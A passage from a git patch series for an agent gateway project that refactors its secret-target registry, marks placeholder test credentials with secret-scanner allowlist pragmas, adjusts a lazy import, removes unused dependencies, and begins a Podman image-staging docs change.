includeInConfigure: true, @@ -234,7 +237,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.irc.accounts.*.nickserv.password", configFile: "openclaw.json", pathPattern: "channels.irc.accounts.*.nickserv.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -245,7 +248,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.irc.accounts.*.password", configFile: "openclaw.json", pathPattern: "channels.irc.accounts.*.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -256,7 +259,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.irc.nickserv.password", configFile: "openclaw.json", pathPattern: "channels.irc.nickserv.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -267,7 +270,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.irc.password", configFile: "openclaw.json", pathPattern: "channels.irc.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -278,7 +281,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.mattermost.accounts.*.botToken", configFile: "openclaw.json", pathPattern: "channels.mattermost.accounts.*.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -289,7 +292,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.mattermost.botToken", configFile: "openclaw.json", pathPattern: "channels.mattermost.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -300,7 +303,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.matrix.accounts.*.password", configFile: "openclaw.json", pathPattern: "channels.matrix.accounts.*.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -311,7 +314,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.matrix.password", configFile: "openclaw.json", pathPattern: "channels.matrix.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -322,7 +325,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.msteams.appPassword", configFile: "openclaw.json", pathPattern: "channels.msteams.appPassword", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -333,7 +336,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.nextcloud-talk.accounts.*.apiPassword", configFile: "openclaw.json", pathPattern: "channels.nextcloud-talk.accounts.*.apiPassword", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -344,7 +347,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.nextcloud-talk.accounts.*.botSecret", configFile: "openclaw.json", pathPattern: "channels.nextcloud-talk.accounts.*.botSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -355,7 +358,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.nextcloud-talk.apiPassword", configFile: "openclaw.json", pathPattern: "channels.nextcloud-talk.apiPassword", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -366,7 +369,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.nextcloud-talk.botSecret", configFile: "openclaw.json", pathPattern: "channels.nextcloud-talk.botSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -377,7 +380,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.accounts.*.appToken", configFile: "openclaw.json", pathPattern: "channels.slack.accounts.*.appToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -388,7 +391,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.accounts.*.botToken", configFile: "openclaw.json", pathPattern: "channels.slack.accounts.*.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -399,7 +402,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.accounts.*.signingSecret", configFile: "openclaw.json", pathPattern: "channels.slack.accounts.*.signingSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -410,7 +413,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.accounts.*.userToken", configFile: "openclaw.json", pathPattern: "channels.slack.accounts.*.userToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -421,7 +424,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.appToken", configFile: "openclaw.json", pathPattern: "channels.slack.appToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -432,7 +435,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.botToken", configFile: "openclaw.json", pathPattern: "channels.slack.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -443,7 +446,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.signingSecret", configFile: "openclaw.json", pathPattern: "channels.slack.signingSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -454,7 +457,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.slack.userToken", configFile: "openclaw.json", pathPattern: "channels.slack.userToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -465,7 +468,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.telegram.accounts.*.botToken", configFile: "openclaw.json", pathPattern: "channels.telegram.accounts.*.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -476,7 +479,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.telegram.accounts.*.webhookSecret", configFile: "openclaw.json", pathPattern: "channels.telegram.accounts.*.webhookSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -487,7 +490,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.telegram.botToken", configFile: "openclaw.json", pathPattern: "channels.telegram.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -498,7 +501,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.telegram.webhookSecret", configFile: "openclaw.json", pathPattern: "channels.telegram.webhookSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -509,7 +512,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.zalo.accounts.*.botToken", configFile: "openclaw.json", pathPattern: "channels.zalo.accounts.*.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -520,7 +523,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.zalo.accounts.*.webhookSecret", configFile: "openclaw.json", pathPattern: "channels.zalo.accounts.*.webhookSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -531,7 +534,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.zalo.botToken", configFile: "openclaw.json", pathPattern: "channels.zalo.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -542,7 +545,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.zalo.webhookSecret", configFile: "openclaw.json", pathPattern: "channels.zalo.webhookSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -553,7 +556,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "cron.webhookToken", configFile: "openclaw.json", pathPattern: "cron.webhookToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -564,7 +567,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "gateway.auth.token", configFile: "openclaw.json", pathPattern: "gateway.auth.token", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -575,7 +578,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "gateway.auth.password", configFile: "openclaw.json", pathPattern: "gateway.auth.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -586,7 +589,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "gateway.remote.password", configFile: "openclaw.json", pathPattern: "gateway.remote.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -597,7 +600,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "gateway.remote.token", configFile: "openclaw.json", pathPattern: "gateway.remote.token", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -608,7 +611,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "messages.tts.elevenlabs.apiKey", configFile: "openclaw.json", pathPattern: "messages.tts.elevenlabs.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -619,7 +622,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "messages.tts.openai.apiKey", configFile: "openclaw.json", pathPattern: "messages.tts.openai.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -631,7 +634,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetTypeAliases: ["models.providers.*.apiKey"], configFile: "openclaw.json", pathPattern: "models.providers.*.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -645,7 +648,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetTypeAliases: ["skills.entries.*.apiKey"], configFile: "openclaw.json", pathPattern: "skills.entries.*.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -656,7 +659,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "talk.apiKey", configFile: "openclaw.json", pathPattern: "talk.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -667,7 +670,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "talk.providers.*.apiKey", configFile: "openclaw.json", pathPattern: "talk.providers.*.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -678,7 +681,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "tools.web.search.apiKey", configFile: "openclaw.json", pathPattern: "tools.web.search.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -689,7 +692,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "tools.web.search.gemini.apiKey", configFile: "openclaw.json", pathPattern: "tools.web.search.gemini.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -700,7 +703,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "tools.web.search.grok.apiKey", configFile: "openclaw.json", pathPattern: "tools.web.search.grok.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -711,7 +714,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "tools.web.search.kimi.apiKey", configFile: "openclaw.json", pathPattern: "tools.web.search.kimi.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -722,7 +725,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "tools.web.search.perplexity.apiKey", configFile: "openclaw.json", pathPattern: "tools.web.search.perplexity.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, diff --git a/src/secrets/target-registry-pattern.test.ts b/src/secrets/target-registry-pattern.test.ts index fe8668c4d1d..4739ca5776d 100644 --- a/src/secrets/target-registry-pattern.test.ts +++ b/src/secrets/target-registry-pattern.test.ts @@ -49,8 +49,8 @@ describe("target registry pattern helpers", () => { }, talk: { providers: { - openai: { apiKey: "oa" }, - anthropic: { apiKey: "an" }, + openai: { apiKey: "oa" }, // pragma: allowlist secret + anthropic: { apiKey: "an" }, // pragma: allowlist secret }, }, }; diff --git a/src/secrets/target-registry-pattern.ts b/src/secrets/target-registry-pattern.ts index d6c0970efaf..0504c3023e0 100644 --- a/src/secrets/target-registry-pattern.ts +++ b/src/secrets/target-registry-pattern.ts @@ -47,7 +47,8 @@ export function compileTargetRegistryEntry( const pathDynamicTokenCount = countDynamicPatternTokens(pathTokens); const refPathTokens = entry.refPathPattern ? parsePathPattern(entry.refPathPattern) : undefined; const refPathDynamicTokenCount = refPathTokens ? countDynamicPatternTokens(refPathTokens) : 0; - if (entry.secretShape === "sibling_ref" && !refPathTokens) { + const requiresSiblingRefPath = entry.secretShape === "sibling_ref"; // pragma: allowlist secret + if (requiresSiblingRefPath && !refPathTokens) { throw new Error(`Missing refPathPattern for sibling_ref target: ${entry.id}`); } if (refPathTokens && refPathDynamicTokenCount !== pathDynamicTokenCount) { diff --git a/src/secrets/target-registry-types.ts b/src/secrets/target-registry-types.ts index 0990f72a30d..e8c31d1c251 100644 --- a/src/secrets/target-registry-types.ts +++ b/src/secrets/target-registry-types.ts @@ -1,6 +1,6 @@ -export type SecretTargetConfigFile = "openclaw.json" | "auth-profiles.json"; -export type SecretTargetShape = "secret_input" | "sibling_ref"; -export type SecretTargetExpected = "string" | "string-or-object"; +export type SecretTargetConfigFile = "openclaw.json" | "auth-profiles.json"; // pragma: allowlist secret +export type SecretTargetShape = "secret_input" | "sibling_ref"; // pragma: allowlist secret +export type SecretTargetExpected = "string" | "string-or-object"; // pragma: allowlist secret export type AuthProfileType = "api_key" | "token"; export type SecretTargetRegistryEntry = { diff --git a/src/tui/gateway-chat.test.ts b/src/tui/gateway-chat.test.ts index 58d5433f07f..2113abc7eb5 100644 --- a/src/tui/gateway-chat.test.ts +++ b/src/tui/gateway-chat.test.ts @@ -118,7 +118,7 @@ describe("resolveGatewayConnection", () => { gateway: { mode: "local", auth: { - password: "config-password", + password: "config-password", // pragma: allowlist secret }, }, }); @@ -134,7 +134,7 @@ describe("resolveGatewayConnection", () => { mode: "local", auth: { token: "config-token", - password: "config-password", + password: "config-password", // pragma: allowlist secret }, }, }); @@ -180,13 +180,15 @@ describe("resolveGatewayConnection", () => { loadConfig.mockReturnValue({ gateway: { mode: "remote", - remote: { url: "wss://remote.example/ws", token: "remote-token", password: "remote-pass" }, + remote: { url: "wss://remote.example/ws", token: "remote-token", password: "remote-pass" }, // pragma: allowlist secret }, }); - await withEnvAsync({ OPENCLAW_GATEWAY_PASSWORD: "env-pass" }, async () => { + const gatewayPasswordEnv = "OPENCLAW_GATEWAY_PASSWORD"; // pragma: allowlist secret + const gatewayPassword = "env-pass"; // pragma: allowlist secret + await withEnvAsync({ [gatewayPasswordEnv]: gatewayPassword }, async () => { const result = await resolveGatewayConnection({}); - expect(result.password).toBe("env-pass"); + expect(result.password).toBe(gatewayPassword); }); }); @@ -263,12 +265,12 @@ describe("resolveGatewayConnection", () => { const tokenExecProgram = [ "const fs=require('node:fs');", `fs.writeFileSync(${JSON.stringify(tokenMarker)},'1');`, - "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { TOKEN_SECRET: 'token-from-exec' } }));", + "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { TOKEN_SECRET: 'token-from-exec' } }));", // pragma: allowlist secret ].join(""); const passwordExecProgram = [ "const fs=require('node:fs');", `fs.writeFileSync(${JSON.stringify(passwordMarker)},'1');`, - "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { PASSWORD_SECRET: 'password-from-exec' } }));", + "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { PASSWORD_SECRET: 'password-from-exec' } }));", // pragma: allowlist secret ].join(""); loadConfig.mockReturnValue({ @@ -316,12 +318,12 @@ describe("resolveGatewayConnection", () => { const tokenExecProgram = [ "const fs=require('node:fs');", `fs.writeFileSync(${JSON.stringify(tokenMarker)},'1');`, - "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { TOKEN_SECRET: 'token-from-exec' } }));", + "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { TOKEN_SECRET: 'token-from-exec' } }));", // pragma: allowlist secret ].join(""); const passwordExecProgram = [ "const fs=require('node:fs');", `fs.writeFileSync(${JSON.stringify(passwordMarker)},'1');`, - "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { PASSWORD_SECRET: 'password-from-exec' } }));", + "process.stdout.write(JSON.stringify({ protocolVersion: 1, values: { PASSWORD_SECRET: 'password-from-exec' } }));", // pragma: allowlist secret ].join(""); loadConfig.mockReturnValue({ diff --git a/src/tui/tui-formatters.test.ts b/src/tui/tui-formatters.test.ts index c4dfa26bb14..3ceb0c56570 100644 --- a/src/tui/tui-formatters.test.ts +++ b/src/tui/tui-formatters.test.ts @@ -250,14 +250,14 @@ describe("sanitizeRenderableText", () => { }); it("preserves long credential-like mixed alnum tokens for copy safety", () => { - const input = "e3b19c3b87bcf364b23eebb2c276e96ec478956ba1d84c93"; + const input = "e3b19c3b87bcf364b23eebb2c276e96ec478956ba1d84c93"; // pragma: allowlist secret const sanitized = sanitizeRenderableText(input); expect(sanitized).toBe(input); }); it("preserves quoted credential-like mixed alnum tokens for copy safety", () => { - const input = "'e3b19c3b87bcf364b23eebb2c276e96ec478956ba1d84c93'"; + const input = "'e3b19c3b87bcf364b23eebb2c276e96ec478956ba1d84c93'"; // pragma: allowlist secret const sanitized = sanitizeRenderableText(input); expect(sanitized).toBe(input); diff --git a/src/utils/mask-api-key.test.ts b/src/utils/mask-api-key.test.ts index 3620dc01b34..023576a4eeb 100644 --- a/src/utils/mask-api-key.test.ts +++ b/src/utils/mask-api-key.test.ts @@ -15,6 +15,6 @@ describe("maskApiKey", () => { }); it("masks long values with first and last 8 chars", () => { - expect(maskApiKey("1234567890abcdefghijklmnop")).toBe("12345678...ijklmnop"); + expect(maskApiKey("1234567890abcdefghijklmnop")).toBe("12345678...ijklmnop"); // pragma: allowlist secret }); }); diff --git a/src/wizard/onboarding.finalize.test.ts b/src/wizard/onboarding.finalize.test.ts index ea7f6ce23bd..8d720c2f594 100644 --- a/src/wizard/onboarding.finalize.test.ts +++ b/src/wizard/onboarding.finalize.test.ts @@ -113,7 +113,7 @@ describe("finalizeOnboardingWizard", () => { it("resolves gateway password SecretRef for probe and TUI", async () => { const previous = process.env.OPENCLAW_GATEWAY_PASSWORD; - process.env.OPENCLAW_GATEWAY_PASSWORD = "resolved-gateway-password"; + process.env.OPENCLAW_GATEWAY_PASSWORD = "resolved-gateway-password"; // pragma: allowlist secret const select = vi.fn(async (params: { message: string }) => { if (params.message === "How do you want to hatch your bot?") { return "tui"; @@ -179,13 +179,13 @@ describe("finalizeOnboardingWizard", () => { expect(probeGatewayReachable).toHaveBeenCalledWith( expect.objectContaining({ url: "ws://127.0.0.1:18789", - password: "resolved-gateway-password", + password: "resolved-gateway-password", // pragma: allowlist secret }), ); expect(runTui).toHaveBeenCalledWith( expect.objectContaining({ url: "ws://127.0.0.1:18789", - password: "resolved-gateway-password", + password: "resolved-gateway-password", // pragma: allowlist secret }), ); }); diff --git a/src/wizard/onboarding.gateway-config.ts b/src/wizard/onboarding.gateway-config.ts index a1f5dfee624..c6d9111c3e4 100644 --- a/src/wizard/onboarding.gateway-config.ts +++ b/src/wizard/onboarding.gateway-config.ts @@ -165,7 +165,7 @@ export async function configureGatewayForOnboarding( defaults: nextConfig.secrets?.defaults, }).ref; const tokenMode = - flow === "quickstart" && opts.secretInputMode !== "ref" + flow === "quickstart" && opts.secretInputMode !== "ref" // pragma: allowlist secret ? quickstartTokenRef ? "ref" : "plaintext" diff --git a/ui/src/i18n/locales/de.ts b/ui/src/i18n/locales/de.ts index 633bdeb12d8..f45ffc3f4c0 100644 --- a/ui/src/i18n/locales/de.ts +++ b/ui/src/i18n/locales/de.ts @@ -58,7 +58,7 @@ export const de: TranslationMap = { subtitle: "Wo sich das Dashboard verbindet und wie es sich authentifiziert.", wsUrl: "WebSocket-URL", token: "Gateway-Token", - password: "Passwort (nicht gespeichert)", + password: "Passwort (nicht gespeichert)", // pragma: allowlist secret sessionKey: "Standard-Sitzungsschlüssel", language: "Sprache", connectHint: "Klicken Sie auf Verbinden, um Verbindungsänderungen anzuwenden.", diff --git a/ui/src/i18n/locales/es.ts b/ui/src/i18n/locales/es.ts index 0a77e447a0f..a96ee7ad2d7 100644 --- a/ui/src/i18n/locales/es.ts +++ b/ui/src/i18n/locales/es.ts @@ -58,7 +58,7 @@ export const es: TranslationMap = { subtitle: "Dónde se conecta el panel y cómo se autentica.", wsUrl: "URL de WebSocket", token: "Token de la puerta de enlace", - password: "Contraseña (no se guarda)", + password: "Contraseña (no se guarda)", // pragma: allowlist secret sessionKey: "Clave de sesión predeterminada", language: "Idioma", connectHint: "Haz clic en Conectar para aplicar los cambios de conexión.", From 063b9aabe28ae13812424982acca4158a9ec7f30 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 19:45:55 -0500 Subject: [PATCH 080/844] fix: xxxxx --- src/agents/pi-embedded-runner/compact.runtime.ts | 1 + src/context-engine/legacy.ts | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) create mode 100644 src/agents/pi-embedded-runner/compact.runtime.ts diff --git a/src/agents/pi-embedded-runner/compact.runtime.ts b/src/agents/pi-embedded-runner/compact.runtime.ts new file mode 100644 index 00000000000..33c4ed7066a --- /dev/null +++ b/src/agents/pi-embedded-runner/compact.runtime.ts @@ -0,0 +1 @@ +export { compactEmbeddedPiSessionDirect } from "./compact.js"; diff --git a/src/context-engine/legacy.ts b/src/context-engine/legacy.ts index ba05c9e8b8d..ab2eeff9b7f 100644 --- a/src/context-engine/legacy.ts +++ b/src/context-engine/legacy.ts @@ -69,9 +69,9 @@ export class LegacyContextEngine implements ContextEngine { customInstructions?: string; legacyParams?: Record; }): Promise { - // Import dynamically to avoid circular dependencies + // Import through a dedicated runtime boundary so the lazy edge remains effective. const { compactEmbeddedPiSessionDirect } = - await import("../agents/pi-embedded-runner/compact.js"); + await import("../agents/pi-embedded-runner/compact.runtime.js"); // legacyParams carries the full CompactEmbeddedPiSessionParams fields // set by the caller in run.ts. We spread them and override the fields From 74959fc1fded97cf3de2d6f1acd6dfda87f5d593 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 19:53:22 -0500 Subject: [PATCH 081/844] Dependencies: remove unused core and UI packages (#38316) * Dependencies: drop unused root runtime packages * Dependencies: trim unused UI package deps * Dependencies: keep UI build deps and stable git lock resolution * Lockfile: fix UI vitest browser snapshot key --- package.json | 5 ----- pnpm-lock.yaml | 15 --------------- 2 files changed, 20 deletions(-) diff --git a/package.json b/package.json index 8a8ea416427..935e584a8e1 100644 --- a/package.json +++ b/package.json @@ -348,7 +348,6 @@ "@sinclair/typebox": "0.34.48", "@slack/bolt": "^4.6.0", "@slack/web-api": "^7.14.1", - "@snazzah/davey": "^0.1.9", "@whiskeysockets/baileys": "7.0.0-rc.9", "ajv": "^8.18.0", "chalk": "^5.6.2", @@ -360,7 +359,6 @@ "dotenv": "^17.3.1", "express": "^5.2.1", "file-type": "^21.3.0", - "gaxios": "7.1.3", "grammy": "^1.41.0", "https-proxy-agent": "^7.0.6", "ipaddr.js": "^2.3.0", @@ -368,9 +366,7 @@ "json5": "^2.2.3", "jszip": "^3.10.1", "linkedom": "^0.18.12", - "long": "^5.3.2", "markdown-it": "^14.1.1", - "node-domexception": "npm:@nolyfill/domexception@^1.0.28", "node-edge-tts": "^1.2.10", "opusscript": "^0.1.1", "osc-progress": "^0.3.0", @@ -379,7 +375,6 @@ "qrcode-terminal": "^0.12.0", "sharp": "^0.34.5", "sqlite-vec": "0.1.7-alpha.2", - "strip-ansi": "^7.2.0", "tar": "7.5.10", "tslog": "^4.10.2", "undici": "^7.22.0", diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 79313de6f9f..e2087b427e4 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -79,9 +79,6 @@ importers: '@slack/web-api': specifier: ^7.14.1 version: 7.14.1 - '@snazzah/davey': - specifier: ^0.1.9 - version: 0.1.9 '@whiskeysockets/baileys': specifier: 7.0.0-rc.9 version: 7.0.0-rc.9(audio-decode@2.2.3)(sharp@0.34.5) @@ -115,9 +112,6 @@ importers: file-type: specifier: ^21.3.0 version: 21.3.0 - gaxios: - specifier: 7.1.3 - version: 7.1.3 grammy: specifier: ^1.41.0 version: 1.41.0 @@ -139,15 +133,9 @@ importers: linkedom: specifier: ^0.18.12 version: 0.18.12 - long: - specifier: ^5.3.2 - version: 5.3.2 markdown-it: specifier: ^14.1.1 version: 14.1.1 - node-domexception: - specifier: npm:@nolyfill/domexception@^1.0.28 - version: '@nolyfill/domexception@1.0.28' node-edge-tts: specifier: ^1.2.10 version: 1.2.10 @@ -175,9 +163,6 @@ importers: sqlite-vec: specifier: 0.1.7-alpha.2 version: 0.1.7-alpha.2 - strip-ansi: - specifier: ^7.2.0 - version: 7.2.0 tar: specifier: 7.5.10 version: 7.5.10 From 2d52c88dadd50c0643af18ce5f69c1b1307f88dd Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 19:55:26 -0500 Subject: [PATCH 082/844] fix(podman): stop assuming /tmp is disk-backed (#38296) * Podman: avoid hardcoding /tmp for image staging * Docs: clarify container storage paths * Podman: secure staged image import * Podman: clarify streamed image handoff --- docs/install/docker.md | 6 +++++ docs/install/podman.md | 8 ++++++ setup-podman.sh | 58 ++++++++++++++++++++++++++++++++++++++---- 3 files changed, 67 insertions(+), 5 deletions(-) diff --git a/docs/install/docker.md b/docs/install/docker.md index 1dd0d2325d1..0eeacd63ffe 100644 --- a/docs/install/docker.md +++ b/docs/install/docker.md @@ -535,6 +535,12 @@ docker compose run --rm openclaw-cli devices list --url ws://127.0.0.1:18789 - Dockerfile CMD uses `--allow-unconfigured`; mounted config with `gateway.mode` not `local` will still start. Override CMD to enforce the guard. - The gateway container is the source of truth for sessions (`~/.openclaw/agents//sessions/`). +### Storage model + 